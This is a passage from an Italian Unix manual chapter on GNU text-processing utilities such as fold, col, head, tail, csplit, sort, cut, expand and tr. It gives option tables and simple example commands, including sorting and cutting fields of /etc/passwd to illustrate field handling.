Il programma di servizio '**fold**'[9] impagina il testo contenuto nei file forniti come argomento, suddividendo le righe troppo lunghe inserendo un codice di interruzione di riga al raggiungimento della colonna 80 (se non viene specificato diversamente attraverso le opzioni):

```
fold [opzioni] [file...]
```

Il conteggio viene fatto tenendo conto dei caratteri di tabulazione come se fossero espansi, dei codici di *backspace* (<*BS*>) che diminuiscono il conteggio e dei caratteri di ritorno a carrello (<*CR*>) che azzerano il conteggio.

Tabella 24.13. Alcune opzioni.

Opzione	Descrizione
`-b` `--bytes`	Conta i caratteri <*HT*> (tabulazione), <*BS*> e <*CR*> come gli altri.
`-s` `--spaces`	Cerca di interrompere le righe subito dopo uno spazio vuoto, in modo da evitare di spezzare delle parole.
`-w` ***larghezza*** `--width=`***larghezza***	Definisce la larghezza massima della colonna di testo finale.

24.3.4 Utilizzo di «column»

Il programma di servizio '**column**'[10] trasforma l'input rappresentato dai file indicati come argomento in modo da ottenere più colonne. Il risultato viene emesso attraverso lo standard output:

```
column [opzioni] [file...]
```

Tabella 24.14. Alcune opzioni.

Opzione	Descrizione
`-c` ***colonne***	Indica la dimensione orizzontale in caratteri dell'output che si vuole ottenere.
`-x`	Di norma, ogni colonna viene riempita completamente prima di passare alla successiva. Con questa opzione, i dati all'interno delle colonne vengono disposti in sequenza orizzontale.

24.3.5 Utilizzo di «colrm»

Il programma di servizio '**colrm**'[11] elimina un intervallo di colonne da un file di testo:

```
colrm [colonna_iniziale] [colonna_finale]
```

Le colonne sono espresse in caratteri. L'input è ottenuto dallo standard input e l'output viene emesso attraverso lo standard output. Se vengono omessi gli attributi, non viene eliminato alcunché. Se manca l'indicazione della colonna finale, l'eliminazione avviene a partire dalla colonna iniziale indicata fino alla fine della riga.

Segue la descrizione di alcuni esempi.

- `$` **`colrm 1 10 < documento.txt > tagliato.txt`** [*Invio*]

  Vengono eliminati i primi 10 caratteri di ogni riga del file '`documento.txt`' e il risultato viene emesso in '`tagliato.txt`'.

- `$` **`colrm 81 < documento > normale.txt`** [*Invio*]

  Le righe che superano gli 80 caratteri vengono tagliate.

24.4 Composizione

Un tipo di file di testo è quello che contiene codici speciali di spostamento allo scopo di ottenere un aspetto particolare quando questo viene stampato. Il codice più usato in questo senso è <*BS*> (*backspace*) che normalmente viene interpretato come arretramento di una posizione. Gli effetti che si possono ottenere in questo modo sono il sottolineato e il neretto. Per esempio, per ottenere la parola «CIAO» in neretto, si utilizza una sequenza del tipo:

'**C**<*BS*>**CI**<*BS*>**IA**<*BS*>**AO**<*BS*>**O**'.

24.4.1 Utilizzo di «col» e di «colcrt»

I programmi '**col**' e '**colcrt**' interpretano nei file di testo dei codici di spostamento particolari, oltre a quelli comuni della codifica ASCII:[12]

Codice	Descrizione
<*ESC*>7	Arretramento di una riga.
<*ESC*>8	Arretramento di mezza riga.
<*ESC*>9	Avanzamento di una riga.
<*VT*>	Arretramento di una riga (come <*ESC*>7).

Il programma di servizio '**col**'[13] emette attraverso lo standard output una trasformazione dello standard input, in modo che questo contenga solo codici per l'avanzamento di riga in avanti.

Tabella 24.16. Alcune opzioni.

Opzione	Descrizione
`-b`	Vengono eliminati anche i caratteri di *backspace* (<BS>).
`-f`	I caratteri di mezzo *line feed* (avanzamento di mezza riga) vengono permessi e quindi non sono eliminati.
`-x`	I caratteri di tabulazione vengono sostituiti con spazi.

L'esempio seguente trasforma il risultato di *ls(1)* in un file di testo normale, memorizzato in '`/tmp/ls1.txt`':

$ **`man 1 ls | col -bx > /tmp/ls1.txt`** [*Invio*]

Il programma di servizio '**`colcrt`**'[14] emette attraverso lo standard output una trasformazione dei file indicati come argomento, in modo da permettere la visualizzazione o la stampa di testi contenenti codici di spostamento di mezza riga:

```
colcrt [opzioni] [file...]
```

In pratica, i caratteri che dovrebbero apparire stampati in una mezza riga successiva, vengono spostati nella riga (intera) successiva. Il suo funzionamento è simile a quello del programma '**`col`**', ma è orientato particolarmente all'emissione di un output adatto allo schermo di un terminale.

Tabella 24.17. Alcune opzioni.

Opzione	Descrizione
`-`	Vengono eliminate tutte le sottolineature.
`-2`	Stampa tutte le mezze righe, raddoppiando in pratica l'output.

24.4.2 Utilizzo di «ul»

Il programma di servizio '**`ul`**',[15] il cui nome sta per *underline*, permette di trasformare un file contenente codici di arretramento, usati per ottenere evidenziamenti e sottolineature, in modo da poterlo visualizzare correttamente in base al tipo di terminale che risulta dalla configurazione (la variabile di ambiente ***TERM***):

```
ul [opzioni] [file...]
```

Per comprendere il senso di questo programma, si può ridirigere su un file il risultato della lettura di una pagina di manuale:

$ **`man 1 ul > /tmp/ul.txt`** [*Invio*]

Se si osserva il file '/tmp/ul.txt' ottenuto, si può vedere che contiene dei codici di arretramento (<BS>), con lo scopo di ottenere un carattere di spessore maggiore (più nero, o più illuminato, a seconda del modo con cui il terminale funziona normalmente):

```
UL(1)                    BSD General Commands Manual                    UL(1)

N<BS>NA<BS>AM<BS>ME<BS>E
     u<BS>ul<BS>l - do underlining

S<BS>SY<BS>YN<BS>NO<BS>OP<BS>PS<BS>SI<BS>IS<BS>S
     u<BS>ul<BS>l [-<BS>-i<BS>i] [-<BS>-t<BS>t _<BS>t_<BS>e_<BS>r_<BS>m_↩
↪<BS>i_<BS>n_<BS>a_<BS>l] [_<BS>n_<BS>a_<BS>m_<BS>e _<BS>._<BS>._<BS>.]

D<BS>DE<BS>ES<BS>SC<BS>CR<BS>RI<BS>IP<BS>PT<BS>TI<BS>IO<BS>ON<BS>N
     The u<BS>ul<BS>l utility reads the named files (or standard input if none are
     given) and translates occurrences of underscores to the sequence which
     indicates underlining for the terminal in use, as specified by the
    ...
```

Se si invia questo file, così come si vede, allo schermo, non si ottiene alcun evidenziamento:

$ **cat /tmp/ul.txt** [*Invio*]

Se invece si utilizza '**ul**', lo si vede come dovrebbe (purché il terminale sia in grado di farlo):

$ **ul /tmp/ul.txt** [*Invio*]

Eventualmente si può consultare la pagina di manuale *ul(1)*.

24.5 Estrazione parziale e statistiche

Alcuni programmi si occupano di estrarre dall'input solo alcune porzioni, o solo delle informazioni riepilogative, o ancora di suddividere l'input in parti più piccole.

24.5.1 Utilizzo di «head»

Il programma di servizio '**head**'[16] emette attraverso lo standard output la prima parte (le prime 10 righe se non viene specificato diversamente con le opzioni) dei file forniti come argomento:

head [***opzioni***] [***file***...]

Tabella 24.19. Alcune opzioni.

Opzione	Descrizione
-c ***dimensione*** --bytes=***dimensione***	Emette la quantità di byte indicata dalla dimensione.
-n ***dimensione*** --lines=***dimensione***	Emette la quantità di righe indicata dalla dimensione.

24.5.2 Utilizzo di «tail»

Il programma di servizio '**tail**'[17] emette attraverso lo standard output la parte finale (le ultime 10 righe se non viene specificato diversamente con le opzioni) dei file forniti come argomento:

```
tail [opzioni] [file...]
```

Tabella 24.20. Alcune opzioni.

Opzione	Descrizione
`-c n` `--bytes=n`	Se l'argomento è privo di segno, emette gli ultimi ***n*** byte del file; se invece l'argomento è preceduto da un segno «+», si intende ottenere la porzione di file che inizia dal byte ***n***-esimo (il primo corrispondente a +1) fino alla fine.
`-n n` `--lines=n`	Se l'argomento è privo di segno, emette le ultime ***n*** righe del file; se invece l'argomento è preceduto da un segno «+», si intende ottenere la porzione di file che inizia dalla riga ***n***-esima (la prima corrispondente a +1) fino alla fine.
`-f` `--follow`	Cerca di continuare la lettura del file, assumendo che questo debba allungarsi per opera di un altro processo (come avviene nel caso dei file delle registrazioni).

L'esempio seguente legge la parte finale del file '`/var/log/messages`' e continua a farlo in attesa di aggiunte al file, inviando quanto ottenuto al dispositivo '`/dev/tty10`'. Il processo viene messo opportunamente sullo sfondo in modo da liberare il terminale.

```
# tail -f /var/log/messages > /dev/tty10 & [Invio]
```

24.5.3 Utilizzo di «split»

Il programma di servizio '**split**'[18] suddivide il contenuto del file fornito come argomento in porzioni ordinate, di una lunghezza massima definita (di solito 1 000 righe):

```
split [opzioni] [file [prefisso]]
```

I file che vengono generati hanno il prefisso indicato nell'argomento (oppure '**x**' se non viene specificato), seguito da una coppia di lettere che cambiano secondo una sequenza ordinata: '**aa**', '**ab**', '**ac**',... Pertanto, i nomi ottenuti possono essere ordinati nello stesso modo con cui il file originale è stato suddiviso.

Tabella 24.21. Alcune opzioni.

Opzione	Descrizione
`-l` ***righe*** `--lines=`***righe***	Definisce il numero di righe dei file di destinazione.
`-b` ***dimensione*** `--bytes=`***dimensione***	Definisce la dimensione in byte dei file di destinazione.
`-C` ***dimensione*** `--line-bytes=`***dimensione***	Definisce la dimensione massima in byte dei file di destinazione, intendendo però che questi file contengano righe intere. Si possono usare gli stessi moltiplicatori utilizzabili nell'opzione '**`-b`**'.

24.5.4 Utilizzo di «csplit»

Il programma di servizio '**`csplit`**'[19] serve a suddividere un file in più parti, secondo uno o più modelli. Ogni modello indicato alla fine della riga di comando, specifica l'inizio di una nuova porzione di file che si vuole ottenere:

```
csplit [opzioni] file modello...
```

Il modello in questione può essere rappresentato da un numero che esprime la quantità di righe da contare, per determinare l'inizio della porzione successiva, oppure da un'espressione regolare che, a seconda della delimitazione, può anche servire a eliminare una porzione di file.

Salvo indicazione diversa, '**`csplit`**' genera una serie di file secondo il modello '`xx`***nn***'; in pratica, si tratta di file il cui nome inizia con due «x» e termina con un numero di due cifre. In particolare, con l'opzione '**`-f`**' è possibile stabilire un prefisso diverso da queste due «x».

Come accennato, ogni modello può essere rappresentato da un numero, o da un'espressione regolare, ma in più, può essere aggiunto un simbolo speciale che ne rappresenta la ripetizione, per permettere l'indicazione dello stesso modello per più porzioni del file:

```
modello [{n_ripetizioni|*}]
```

Come si vede dallo schema sintattico, l'indicazione eventuale delle ripetizioni è racchiuso tra parentesi graffe, che quindi fanno parte del comando. Quando si vogliono indicare tali parentesi graffe, è probabile che si debbano proteggere dall'interpretazione della shell. Vengono descritte di seguito le varie forme dei modelli che possono essere indicati, assieme a una spiegazione sull'uso del simbolo di ripetizione.

Tenendo conto che dovrebbe trattarsi di un programma di servizio GNU, le espressioni regolari vanno espresse secondo le convenzioni GNU. Per la precisione, vengono utilizzate le espressioni regolari estese (ERE). A questo proposito è conveniente leggere le sezioni 26.1 e 26.2.

- *n_righe*

  Un numero puro e semplice, indica di concludere la porzione di file in corso all'*n*-esima riga.

- /*espressione_regolare*/ [*scostamento*]

  Un'espressione regolare racchiusa tra due barre oblique normali, serve a indicare la riga di inizio che deve appartenere alla prossima porzione di file. In pratica, la riga per la quale si avvera la corrispondenza, è la prima della porzione di file successiva. Se dopo la seconda barra obliqua si indica un numero preceduto da un segno '**+**' o da un segno '**-**', significa che si vuole indicare uno scostamento da quel punto, espresso in caratteri: uno scostamento positivo sposta l'inizio dopo *n* caratteri dall'inizio della riga trovata; uno scostamento negativo, sposta l'inizio all'indietro di *n* caratteri.

- %*espressione_regolare*% [*scostamento*]

  Un'espressione regolare racchiusa tra due simboli di percentuale, fa in modo che la porzione successiva, il cui inizio viene identificato attraverso l'espressione regolare stessa, non viene inserito in un file. In pratica, questa parte viene ignorata semplicemente. L'indicazione eventuale dello scostamento si comporta nello stesso modo già visto per il caso precedente.

- {*n*}

  {*}

  Il simbolo di ripetizione fa in modo che il modello precedente venga ripetuto *n* volte, oppure, se si usa un asterisco, tante volte quante ne servono a completare la scansione del file in ingresso.

Tabella 24.22. Alcune opzioni.

Opzione	Descrizione
`-f` *prefisso_nomi_file* `--prefix=`*prefisso_nomi_file*	Questa opzione permette di specificare l'inizio dei nomi dei file che vengono generati. Senza usare questa opzione, i file iniziano per '`xx*`'.
`-n` *n_cifre_numeriche* `--digits=`*n_cifre_numeriche*	In condizioni normali, il nome dei file che vengono generati, termina con due sole cifre numeriche, cosa che consente la creazione di 100 file differenti (da 00 a 99). Con questa opzione è possibile modificare il numero di cifre numeriche di questi file.

Opzione	Descrizione
`-s` `-q` `--silent` `--quiet`	Se non viene usata questa opzione, '**csplit**' emette attraverso lo standard output una serie di numeri, corrispondenti alla dimensione in byte dei file che vengono generati.

Segue la descrizione di alcuni esempi.

- `$` **`csplit elenco 10`** [*Invio*]

  Legge il file '`elenco`' generando il file '`xx00`' con le prime 10 righe di questo, quindi il file '`xx01`' con le righe restanti.

- `$` **`csplit elenco 10 \{0\}`** [*Invio*]

  Questo esempio serve a mostrare l'uso del simbolo di ripetizione: in questo caso, '**`{0}`**', con le parentesi graffe debitamente protette, non ha effetto e il risultato è lo stesso dell'esempio precedente.

- `$` **`csplit elenco 10 \{1\}`** [*Invio*]

  Legge il file '`elenco`' generando il file '`xx00`' con le prime 10 righe di questo, il file '`xx01`' con le 10 righe successive e il file '`xx02`' con le righe restanti.

- `$` **`csplit -f prova elenco 10 \{1\}`** [*Invio*]

  Come nell'esempio precedente, con la differenza che i file generati iniziano per '`prova*`'.

- `$` **`csplit -f prova elenco '/Pagina [0-9]*/' \{\*\}`** [*Invio*]

  Suddivide il file '`prova`', in modo che ogni porzione inizi con una riga corrispondente all'espressione regolare '**`Pagina [0-9]*`**'. La ricerca della corrispondenza dell'espressione regolare avviene per tutte le righe disponibili, in base alla presenza del simbolo di ripetizione indefinita: '**`{*}`**'. I file generati hanno tutti la radice '`prova`'.

24.5.5 Utilizzo di «wc»

Il programma di servizio '**`wc`**'[20] (*word count*) emette attraverso lo standard output la statistica sul conteggio dei codici di interruzione di riga (in pratica il numero delle righe), delle parole e dei byte:

`wc` [*opzioni*] [*file*...]

Se attraverso le opzioni vengono specificati uno o due tipi di conteggio, quelli che non sono indicati espressamente non vengono emessi.

Tabella 24.23. Alcune opzioni.

Opzione	Descrizione
`-c` `--bytes`	Emette la dimensione in byte.
`-w` `--words`	Emette il totale delle parole.
`-l` `--lines`	Emette il numero di righe (precisamente il numero dei codici di interruzione di riga).

24.6 Ordinamento di un file di testo

Alcuni programmi si occupano di riordinare file o di utilizzare file ordinati. L'ordinamento, la fusione, l'eliminazione degli elementi doppi e la ricerca binaria, rientrano in questo concetto.

24.6.1 Utilizzo di «sort»

Il programma di servizio '**`sort`**'[21] permette di ordinare o fondere insieme (*merge*) il contenuto dei file:

```
sort [opzioni] [file...]
```

Sono disponibili tre modalità di funzionamento:

- ordinamento (è la modalità predefinita);
- controllo dell'ordinamento;
- fusione.

Il risultato dell'ordinamento o della fusione, viene emesso attraverso lo standard output se non si specifica diversamente attraverso le opzioni; se non si specificano file da elaborare, viene preso in considerazione lo standard input.

Tabella 24.24. Opzioni riferite alla modalità di funzionamento.

Opzione	Descrizione
`-c`	Controlla che i file indicati siano già ordinati; se non lo sono, viene emessa una segnalazione di errore e il programma termina restituendo il valore uno, corrispondente a *Falso*.
`-m`	Fonde insieme i file indicati che devono essere già stati ordinati in precedenza. Nel caso non lo siano, si può sempre usare la modalità di ordinamento normale. L'utilizzo di questa opzione fa risparmiare tempo quando la situazione lo consente.

Tabella 24.25. Opzioni riferite al tipo di ordinamento.

Opzione	Descrizione
`-b`	Ignora gli spazi bianchi iniziali.
`-d`	Durante l'ordinamento ignora tutti i caratteri che non siano lettere, numeri e spazi.
`-f`	Non distingue tra maiuscole e minuscole.
`-i`	Ignora i caratteri speciali al di fuori dell'ASCII puro (da 30_{16} a $7E_{16}$ compresi).
`-n`	Esegue una comparazione, o un ordinamento, di tipo numerico, tenendo conto anche del segno meno e del punto decimale.
`-r`	Inverte l'ordine della comparazione o dell'ordinamento.

Tabella 24.26. Altre opzioni.

Opzione	Descrizione
`-o` ***file_generato***	Invece di utilizzare lo standard output per emettere il risultato dell'ordinamento o della fusione, utilizza il file indicato come argomento di questa opzione.
`-t` ***carattere_separatore***	Permette di definire il carattere usato come separatore tra i campi che compongono le varie righe (record).
`-u`	Il risultato dell'utilizzo di questa opzione dipende dalla modalità di funzionamento di '**`sort`**'. Se è attiva la modalità di ordinamento o di fusione, fa sì che, in caso di chiavi duplicate, venga emesso solo il primo di questi record. Se è attiva la modalità di controllo, fa sì che venga segnalato un errore in presenza di chiavi duplicate.
`-k` ***campo_iniziale*** [***, campo_finale***]	Specifica la chiave di ordinamento o di fusione indicando il campo iniziale ed eventualmente quello finale. La suddivisione in campi può essere precisata con l'opzione '**`-t`**'.

Segue la descrizione di alcuni esempi.

- `$` **`sort /etc/passwd`** [*Invio*]

  Riordina il file '`/etc/passwd`' a partire dalla prima colonna; in pratica, dal momento che si tratta del file che contiene le informazioni sulle utenze del sistema, lo riordina in base al nominativo di ognuna di queste (il primo campo).

- `$` **`sort -t : -k 1,1 /etc/passwd`** [*Invio*]

  L'effetto di questo comando è praticamente identico a quello precedente, con la differenza che viene dichiarato esplicitamente l'intervento nel primo campo del file (come è noto, il file '`/etc/passwd`' è diviso in campi separati dai due punti verticali), dopo averne specificato il carattere separatore.

- `$` **`sort -n -t : -k 3,3 /etc/passwd`** [*Invio*]

  Riordina il file già descritto, usando il terzo campo come chiave. In particolare, utilizza un ordinamento di tipo numerico, dal momento che il campo in questione rappresenta il numero UID di ogni utenza.

- $ **sort -m primo secondo > terzo** [*Invio*]

  Fonde assieme i due file ‘primo’ e ‘secondo’, già ordinati in precedenza, generando il file ‘terzo’.

- $ **sort -u -m primo secondo > terzo** [*Invio*]

  Come nell’esempio precedente, ma in questo caso, il file che viene generato non contiene righe doppie.

Si veda eventualmente il documento *info sort* oppure la pagina di manuale *sort(1)*.

24.6.2 Utilizzo di «uniq»

Il programma di servizio ‘**uniq**’[22] filtra il contenuto dei file ed emette solo le righe uniche. Il file fornito come input deve essere ordinato:

```
uniq [opzioni] [file_in_ingresso [file_in_uscita]]
```

Si veda eventualmente il documento *info uniq* oppure la pagina di manuale *uniq(1)*.

24.6.3 Utilizzo di «comm»

Il programma di servizio ‘**comm**’[23] confronta due file ordinati ed emette attraverso lo standard output l’indicazione delle righe uniche nel primo e nel secondo file, oltre alle righe che i due file hanno in comune:

```
comm [opzioni] [file1] file2
```

Se non vengono specificate delle opzioni, viene emesso un risultato su tre colonne: la prima contiene le righe uniche del primo file, la seconda le righe uniche del secondo file, la terza le righe in comune.

Tabella 24.27. Alcune opzioni.

Opzione	Descrizione
`-1`	Sopprime la prima colonna.
`-2`	Sopprime la seconda colonna.
`-3`	Sopprime la terza colonna.

24.7 Campi

Alcuni programmi si occupano di elaborare porzioni di file a livello delle righe (o dei record). Quando le righe di un file contengono informazioni strutturate in qualche modo, gli elementi di queste sono chiamati campi, inoltre, al posto del termine «riga» si preferisce utilizzare la parola record che esprime più precisamente il ruolo di questa: contenere una registrazione.

I campi di un record possono avere una dimensione fissa, oppure variabile. Nel primo caso anche i record hanno una dimensione fissa e la suddivisione in campi avviene in base alla posizione; nel secondo caso i record hanno una dimensione variabile e i campi vengono riconosciuti in base a un separatore che di solito deve essere definito.

24.7.1 Utilizzo di «cut»

Il programma di servizio '**cut**'[24] emette attraverso lo standard output porzioni del contenuto di ogni riga dei file indicati come argomento, o dello standard input in loro mancanza. Il modo con cui ciò avviene dipende dagli argomenti, attraverso i quali possono essere definite delle liste di valori o di intervalli. Il primo elemento corrisponde al numero uno.

```
cut [opzioni] [file...]
```

Tabella 24.28. Alcune opzioni.

Opzione	Descrizione
`-b` ***lista_di_byte*** `--bytes=`***lista_di_byte***	Definisce gli intervalli da estrarre espressi in byte.
`-c` ***lista_di_caratteri*** `--characters=`***lista_di_caratteri***	Definisce gli intervalli da estrarre espressi in caratteri.
`-f` ***lista_di_campi*** `--fields=`***lista_di_campi***	Definisce gli intervalli da estrarre espressi in campi. I campi sono distinti in base a un certo carattere usato come delimitatore. Quello predefinito è il carattere di tabulazione.
`-d` ***delimitatore*** `--delimiter=`***delimitatore***	Definisce un delimitatore alternativo al carattere di tabulazione.

- `$` **`cut -c 1-10 pippo`** [*Invio*]

  Emette i primi 10 caratteri di ogni riga del file '`pippo`'.

- `$` **`cut -c 1-10,21 pippo`** [*Invio*]

  Emette per ogni riga del file '`pippo`' solo i primi 10 caratteri seguiti dal 21-esimo carattere.

- `$` **`cut -d ":" -f 1,5 /etc/passwd`** [*Invio*]

Emette il primo e il quinto campo del file '/etc/passwd'. Per leggere correttamente il file, viene anche definito il tipo di separatore (':'). In pratica, viene visualizzato il nominativo e il nome completo degli utenti.

24.7.2 Utilizzo di «paste»

Il programma di servizio '**paste**'[25] emette attraverso lo standard output l'unione, riga per riga, dei file indicati come argomento (in loro mancanza prende lo standard input). Le righe dei file vengono prese in ordine sequenziale e unite separandole con un carattere di tabulazione. Al termine delle nuove righe ottenute, viene aggiunto il codice di interruzione di riga.

```
paste [opzioni] [file...]
```

Tabella 24.29. Alcune opzioni.

Opzione	Descrizione
`-s` `--serial`	In questo caso viene utilizzato un solo file alla volta e tutte le sue righe vengono unite in un'unica riga.
`-d` ***elenco_delimitatori*** `--delimiters` ***elenco_delimitatori***	Viene utilizzato l'elenco di delimitatori fornito, invece di utilizzare la tabulazione per separare le righe riunite. Quando l'elenco di delimitatori viene esaurito, si ricomincia a usare il primo.

24.7.3 Utilizzo di «join»

Il programma di servizio '**join**'[26] genera un file contenente le righe che hanno chiavi identiche nei due file indicati tra gli argomenti. I due file devono essere già ordinati in base alle chiavi che si vogliono prendere in considerazione per la selezione.

```
join [opzioni] file1 file2
```

Si veda eventualmente il documento *info join* oppure la pagina di manuale *join(1)*.

24.8 Conversione

Alcuni programmi consentono di convertire il contenuto di un file, operando a livello di byte. La situazione più comune riguarda l'espansione dei caratteri di tabulazione (ovvero la loro trasformazione in caratteri spazio normali, nella quantità necessaria a mantenere le distanze previste) e, nel senso opposto, la conversione inversa per ridurre la dimensione complessiva del file.

24.8.1 Utilizzo di «expand»

Il programma di servizio '**expand**'[27] emette attraverso lo standard output una trasformazione del contenuto dei file forniti come argomento, oppure di quanto proviene dallo standard input, in cui i simboli di tabulazione sono trasformati in spazi veri e propri. Se non viene specificato diversamente attraverso le opzioni, gli stop di tabulazione si intendono ogni otto caratteri.

```
expand [opzioni] [file...]
```

Tabella 24.30. Alcune opzioni.

Opzione	Descrizione
`-t` ***tab1*** [**,** ***tab2***]... `--tabs=`***tab1*** [**,** ***tab2***]...	Permette di specificare una tabulazione diversa da quella predefinita (ogni otto colonne). Se viene specificato solo un numero, si intende una tabulazione ogni ***n*** colonne, altrimenti, si intende una sequenza di stop di tabulazione, in cui la prima colonna corrisponde al numero zero. Una volta esaurito l'elenco, gli stop di tabulazione successivi vengono sostituiti con uno spazio singolo.
`-`***n***	Questa è una variante dell'opzione '**-t**', in cui si mette direttamente il numero corrispondente alla tabulazione che si vuole avere.
`-i` `--initial`	Converte solo i caratteri di tabulazione iniziali, cioè quelli che precedono caratteri diversi da spazio, o che precedono altri caratteri di tabulazione.

I comandi mostrati sotto sono equivalenti: servono tutti a espandere i caratteri di tabulazione del file 'pippo.txt' generando il file 'pippo1.txt', utilizzando intervalli di tabulazione ogni otto colonne. Il valore è stato specificato per completezza, dal momento che un intervallo di otto colonne è quello predefinito.

$ **expand -8 pippo.txt > pippo1.txt** [*Invio*]

$ **expand -t 8 pippo.txt > pippo1.txt** [*Invio*]

$ **expand --tabs=8 pippo.txt > pippo1.txt** [*Invio*]

24.8.2 Utilizzo di «unexpand»

Il programma di servizio '**unexpand**'[28] emette attraverso lo standard output una trasformazione del contenuto dei file forniti come argomento, oppure dello standard input in loro mancanza, in cui gli spazi sono trasformati in caratteri di tabulazione per quanto possibile. Se non viene specificato diversamente attraverso le opzioni, gli stop di tabulazione si intendono ogni otto caratteri. Normalmente, il programma trasforma solo gli spazi iniziali.

```
unexpand [opzioni] [file...]
```

Tabella 24.31. Alcune opzioni.

Opzione	Descrizione
`-t` ***tab1*** [**,** ***tab2***]... `--tabs=`***tab1*** [**,** ***tab2***]...	Permette di specificare una tabulazione diversa da quella predefinita (ogni otto colonne). Se viene specificato solo un numero, si intende una tabulazione ogni ***n*** colonne, altrimenti, si intende una sequenza di stop di tabulazione, in cui la prima colonna corrisponde al numero zero. Una volta esaurito l'elenco, non vengono fatte altre trasformazioni.
`-a` `--all`	Non si limita a trasformare solo gli spazi iniziali.

24.9 Traslitterazione o cancellazione di caratteri

Esiste un programma di servizio che spesso passa inosservato, ma è molto importante nell'elaborazione di file a livello di byte singolo (o di carattere). Si tratta di '**`tr`**',[29] (*translate*) il cui obiettivo fondamentale è quello di convertire un insieme di caratteri (o di simboli) in un altro insieme, ma consente anche l'eliminazione di alcuni caratteri oppure solo di quelli doppi. Dal momento che con '**`tr`**' è necessario distinguere tra situazioni differenti, è opportuno descrivere separatamente la sua sintassi. L'elenco di modelli sintattici che viene mostrato è semplificato rispetto alle possibilità effettive di '**`tr`**'; inoltre si deve considerare che l'input proviene dallo standard input e l'output viene emesso attraverso lo standard output.

Modello sintattico	Descrizione
`tr` ***stringa1*** ***stringa2***	Questo rappresenta la situazione comune, in cui l'insieme di caratteri indicato nella prima stringa viene sostituito con l'insieme dei caratteri della seconda stringa.
`tr -s` ***stringa1*** `tr --squeeze-repeats` ***stringa1***	Con l'opzione '**`-s`**' (ovvero '**`--squeeze-repeats`**'), si intendono eliminare i doppioni, relativi ai caratteri indicati nella stringa.
`tr -d` [`-c`] ***stringa1*** `tr --delete` [`--complement`] ↩ ↪ ***stringa1***	Con l'opzione '**`-d`**' (ovvero '**`--delete`**'), si intendono eliminare i caratteri indicati nella stringa. Se si usa anche l'opzione '**`-c`**' ('**`--complement`**'), i caratteri che vengono eliminati sono tutti esclusi quelli della stringa indicata.
`tr -d -s` ***stringa1*** ***stringa2*** `tr --delete` ↩ ↪ `--squeeze-repeats` ↩ ↪ ***stringa1*** ***stringa2***	Se alla cancellazione si aggiunge l'opzione di eliminazione dei doppioni, le cose vanno diversamente: prima vengono eliminati i caratteri corrispondenti a quelli della prima stringa; quindi vengono eliminati i doppioni dei caratteri appartenenti alla seconda stringa.

24.9.1 Rappresentazione dei caratteri in una stringa di «tr»

Le stringhe utilizzate come argomenti di '**tr**' vanno scritte secondo una sintassi particolare, che assomiglia vagamente alle espressioni regolari. In generale, ogni carattere (lettera, numero, simbolo) rappresenta esattamente se stesso, salvo le eccezioni che vengono descritte qui.

Sono ammissibili delle sequenze di escape formate da una barra obliqua inversa seguita da un carattere o da un numero che deve essere inteso in modo ottale. La tabella 24.33 elenca queste sequenze di escape (si veda anche la sezione 58.5).

Tabella 24.33. Sequenze di escape per le stringhe di '**tr**'.

Codice	Descrizione
`\a`	*<BEL>*.
`\b`	*<BS>*.
`\f`	*<FF>*.
`\n`	*<LF>*.
`\r`	*<CR>*.
`\t`	*<HT>* (tabulazione normale).
`\v`	*<VT>*.
nnn	Il carattere corrispondente al codice ottale indicato.
`\\`	Una barra obliqua inversa singola.

Possono essere indicati degli intervalli di caratteri, attraverso la notazione '***m*-*n***'. Il carattere iniziale, ***m***, deve essere precedente a quello finale, in base alla sequenza stabilita dalla codifica a cui si fa riferimento. A titolo di esempio, l'intervallo '**0-4**', è equivalente alla sequenza di caratteri '**01234**'.

È possibile indicare una serie di caratteri ripetuti, attraverso una notazione particolare: '**[*x*****n*]**'. Qui le parentesi quadre fanno parte della notazione: ***x*** è il carattere da ripetere ***n*** volte. Se si omette il numero, si intende una quantità indefinitamente grande. È probabile che non sia conveniente l'uso di questa forma, anche per non complicare inutilmente l'interpretazione umana degli argomenti di '**tr**'; tuttavia è necessario conoscerne l'esistenza, per poter leggere gli script realizzati da altri.

Possono essere indicate delle classi di caratteri, in modo simile alle espressioni regolari: '**[:*classe*:]**'. Le classi utili nella traduzione da un insieme all'altro sono solo '**lower**' e '**upper**', allo scopo di convertire le lettere minuscole in maiuscole, oppure per fare l'inverso. Tutte le altre classi possono servire solo per la cancellazione dei caratteri, dal momento che non si espandono in un modo ordinato e prevedibile.

In teoria, è ammissibile anche la notazione delle classi di equivalenza: '**[=*x*=]**', che però, allo stato attuale, nella realizzazione GNU di '**tr**' non serve a molto, dal momento che si traduce semplicemente nella stessa lettera indicata (***x***).

24.9.2 Traslitterazione

La traslitterazione è l'operazione più semplice da realizzare con '**tr**'; basta l'indicazione delle stringhe: quella di origine e quella di destinazione. Vengono mostrati alcuni esempi.

```
$ tr abc def < primo.txt > secondo.txt [Invio]
```

Questo esempio mostra la lettura del file 'primo.txt', che viene elaborato da '**tr**' in modo da trasformare ogni lettera «a» in «d», ogni lettera «b» in «e» e ogni lettera «c» in «f». Il risultato viene salvato nel file 'secondo.txt'.

```
$ tr abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ ←
↪< primo.txt > secondo.txt [Invio]
```

```
$ tr a-z A-Z < primo.txt > secondo.txt [Invio]
```

```
$ tr '[:lower:]' '[:upper:]' < primo.txt > secondo.txt [Invio]
```

Questi tre esempi sono molto simili: quello che si vuole ottenere è la conversione delle lettere minuscole in maiuscole. Di sicuro, il modo più corretto per raggiungere questo risultato è quello di utilizzare l'ultima delle tre forme, dal momento che così si dovrebbe garantire la compatibilità con le proprie convenzioni locali, includendo correttamente anche le lettere accentate (che qui non sono state mostrate).

24.9.3 Cancellazione e compattamento

La cancellazione serve solo per eliminare dei caratteri, senza convertirli in qualche modo. Il comando seguente può essere utile per convertire un file di testo in cui il codice di interruzione di riga è in stile Dos, ovvero è composto dalla sequenza *<CR><LF>*.

```
$ tr -d '\r' < primo.txt > secondo.txt [Invio]
```

In questo modo si elimina solo il codice *<CR>*, rappresentato dalla sequenza di escape '**\r**', ottenendo di lasciare solo i codici *<LF>*, adatti nella maggior parte dei sistemi Unix.[30]

```
$ tr -s '\n' < primo.txt > secondo.txt [Invio]
```

Con questo comando si vogliono eliminare le righe vuote multiple; tuttavia, non vengono eliminate le righe che sono semplicemente bianche, intese come quelle che contengono degli spazi.

```
$ tr -c -s '[a-zA-Z0-9]' '[ *]' < primo.txt > secondo.txt [Invio]
```

